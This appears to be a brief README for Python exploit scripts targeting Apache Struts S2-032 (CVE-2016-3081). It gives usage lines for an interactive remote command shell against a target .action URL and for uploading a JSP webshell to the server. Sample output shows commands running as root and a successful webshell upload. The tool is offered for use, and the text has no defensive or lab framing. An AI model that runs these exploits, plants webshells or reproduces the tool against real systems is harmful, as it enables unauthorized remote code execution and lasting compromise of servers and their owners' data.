The EXP coding by python,and I'll publish the popular EXP here.
##s2-032_cmd.py
USG:
python s2-032_cmd.py http://x.y.z/*.action
use '\q' to exit the shell
##s2-032_all.py
usage: s2-032_all.py [-h] [--cmd] [--url URL] [-f FILENAME] [-d SHELLNAME]
CVE-2016-3081 | Apache Struts S2-032
optional arguments:
-h, --help show this help message and exit
--cmd drop into shell-like RCE
--url URL specifiy the url of the target
-f FILENAME specifiy loacl filename of the file you want to upload
-d SHELLNAME specifiy remote filename upload on the server
use it like this:
python s2-032_all.py --cmd --url http://localhost/hello.action
# whoami
root
# \q
Bye!
python s2-032_all.py -f wanger.txt -d webshell.jsp --url http://localhost/hello.action
File upload success!
http://localhost/webshell.jsp